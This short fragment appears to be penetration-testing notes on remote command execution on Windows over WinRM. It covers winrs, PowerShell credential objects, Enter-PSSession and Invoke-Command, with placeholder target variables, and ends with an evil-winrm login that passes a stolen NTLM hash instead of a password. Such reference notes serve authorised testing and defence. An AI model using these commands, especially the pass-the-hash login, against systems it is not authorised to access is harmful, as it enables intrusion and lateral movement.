winrs.exe -u:$TARGET_USER `
          -p:$TARGET_PASSWORD `
          -r:$TARGET_HOST $COMMAND

# Create PSCredential object for authentication.
#
$username = "$TARGET_USER";
$password = "$TARGET_PASSWORD";
$SECURE_PASSWORD = ConvertTo-SecureString "$TARGET_PASSWORD" `
                                          -AsPlainText -Force;
$CREDENTIAL_OBJECT = New-Object `
                   System.Management.Automation.PSCredential `
                   $TARGET_USER, $SECURE_PASSWORD;

# Enter an interactive PowerShell session on the $TARGET_HOST.
#
Enter-PSSession -ComputerName $TARGET_HOST `
                -Credential $CREDENTIAL_OBJECT

# Alternately, we can pass commands directly as "script
# blocks". Note that the $POWERSHELL_SCRIPT does not have
# access to any variables in the host script or session, as
# its sent to $TARGET_HOST for execution (though this can be
# worked around using the -ArgumentList parameter, if
# necessary).
#
Invoke-Command -ComputerName $TARGET_HOST `
               -Credential $CREDENTIAL_OBJECT `
               -ScriptBlock {
                    $POWERSHELL_SCRIPT
                }

evil-winrm -i $TARGET_HOST \
           -u $TARGET_USER \
           -H $TARGET_USER_NTLM_HASH